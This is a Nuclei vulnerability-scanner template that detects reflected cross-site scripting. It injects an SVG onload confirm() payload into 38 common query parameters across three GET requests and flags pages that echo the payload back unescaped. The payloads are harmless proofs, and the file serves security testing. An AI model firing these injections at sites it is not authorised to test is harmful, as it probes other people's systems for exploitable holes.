nuclei-templates/http/vulnerabilities/generic/top-xss-params.yaml

id: top-xss-params

info:
  name: Top 38 Parameters - Cross-Site Scripting
  author: foulenzer,geeknik
  severity: high
  description: Cross-site scripting was discovered via a search for reflected parameter values in the server response via GET-requests.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 3
    parameters: q,s,search,id,action,keyword,query,page,keywords,url,view,cat,name,key,p,month,page_id,password,terms,token,type,unsubscribe_token,api,api_key,begindate,callback,categoryid,csrf_token,email,emailto,enddate,immagine,item,jsonp,l,lang,list_type,year
  tags: xss,generic

http:
  - method: GET
    path:
      - "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27q%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27s%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27search%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27id%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27action%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27keyword%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27query%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27page%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27keywords%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27url%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27view%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27cat%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27name%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27key%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27p%27%29%3E"
      - "{{BaseURL}}/?api=%27%3E%22%3Csvg%2Fonload=confirm%28%27api%27%29%3E&api_key=%27%3E%22%3Csvg%2Fonload=confirm%28%27api_key%27%29%3E&begindate=%27%3E%22%3Csvg%2Fonload=confirm%28%27begindate%27%29%3E&callback=%27%3E%22%3Csvg%2Fonload=confirm%28%27callback%27%29%3E&categoryid=%27%3E%22%3Csvg%2Fonload=confirm%28%27categoryid%27%29%3E&csrf_token=%27%3E%22%3Csvg%2Fonload=confirm%28%27csrf_token%27%29%3E&email=%27%3E%22%3Csvg%2Fonload=confirm%28%27email%27%29%3E&emailto=%27%3E%22%3Csvg%2Fonload=confirm%28%27emailto%27%29%3E&enddate=%27%3E%22%3Csvg%2Fonload=confirm%28%27enddate%27%29%3E&immagine=%27%3E%22%3Csvg%2Fonload=confirm%28%27immagine%27%29%3E&item=%27%3E%22%3Csvg%2Fonload=confirm%28%27item%27%29%3E&jsonp=%27%3E%22%3Csvg%2Fonload=confirm%28%27jsonp%27%29%3E&l=%27%3E%22%3Csvg%2Fonload=confirm%28%27l%27%29%3E&lang=%27%3E%22%3Csvg%2Fonload=confirm%28%27lang%27%29%3E&list_type=%27%3E%22%3Csvg%2Fonload=confirm%28%27list_type%27%29%3E"
      - "{{BaseURL}}/?month=%27%3E%22%3Csvg%2Fonload=confirm%28%27month%27%29%3E&page_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27page_id%27%29%3E&password=%27%3E%22%3Csvg%2Fonload=confirm%28%27password%27%29%3E&terms=%27%3E%22%3Csvg%2Fonload=confirm%28%27terms%27%29%3E&token=%27%3E%22%3Csvg%2Fonload=confirm%28%27token%27%29%3E&type=%27%3E%22%3Csvg%2Fonload=confirm%28%27type%27%29%3E&unsubscribe_token=%27%3E%22%3Csvg%2Fonload=confirm%28%27unsubscribe_token%27%29%3E&year=%27%3E%22%3Csvg%2Fonload=confirm%28%27year%27%29%3E"

    host-redirects: true
    max-redirects: 1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        condition: or
        words:
          - "'>\"<svg/onload=confirm('q')>"
          - "'>\"<svg/onload=confirm('s')>"
          - "'>\"<svg/onload=confirm('search')>"
          - "'>\"<svg/onload=confirm('id')>"
          - "'>\"<svg/onload=confirm('action')>"
          - "'>\"<svg/onload=confirm('keyword')>"
          - "'>\"<svg/onload=confirm('query')>"
          - "'>\"<svg/onload=confirm('page')>"
          - "'>\"<svg/onload=confirm('keywords')>"
          - "'>\"<svg/onload=confirm('url')>"
          - "'>\"<svg/onload=confirm('view')>"
          - "'>\"<svg/onload=confirm('cat')>"
          - "'>\"<svg/onload=confirm('name')>"
          - "'>\"<svg/onload=confirm('key')>"
          - "'>\"<svg/onload=confirm('p')>"
          - "'>\"<svg/onload=confirm('month')>"
          - "'>\"<svg/onload=confirm('page_id')>"
          - "'>\"<svg/onload=confirm('password')>"
          - "'>\"<svg/onload=confirm('terms')>"
          - "'>\"<svg/onload=confirm('token')>"
          - "'>\"<svg/onload=confirm('type')>"
          - "'>\"<svg/onload=confirm('unsubscribe_token')>"
          - "'>\"<svg/onload=confirm('api')>"
          - "'>\"<svg/onload=confirm('api_key')>"
          - "'>\"<svg/onload=confirm('begindate')>"
          - "'>\"<svg/onload=confirm('callback')>"
          - "'>\"<svg/onload=confirm('categoryid')>"
          - "'>\"<svg/onload=confirm('csrf_token')>"
          - "'>\"<svg/onload=confirm('email')>"
          - "'>\"<svg/onload=confirm('emailto')>"
          - "'>\"<svg/onload=confirm('enddate')>"
          - "'>\"<svg/onload=confirm('immagine')>"
          - "'>\"<svg/onload=confirm('item')>"
          - "'>\"<svg/onload=confirm('jsonp')>"
          - "'>\"<svg/onload=confirm('l')>"
          - "'>\"<svg/onload=confirm('lang')>"
          - "'>\"<svg/onload=confirm('list_type')>"
          - "'>\"<svg/onload=confirm('year')>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        condition: or
        negative: true
        words:
          - "<title>Access Denied</title>"
          - "You don't have permission to access"

      - type: status
        status:
          - 200

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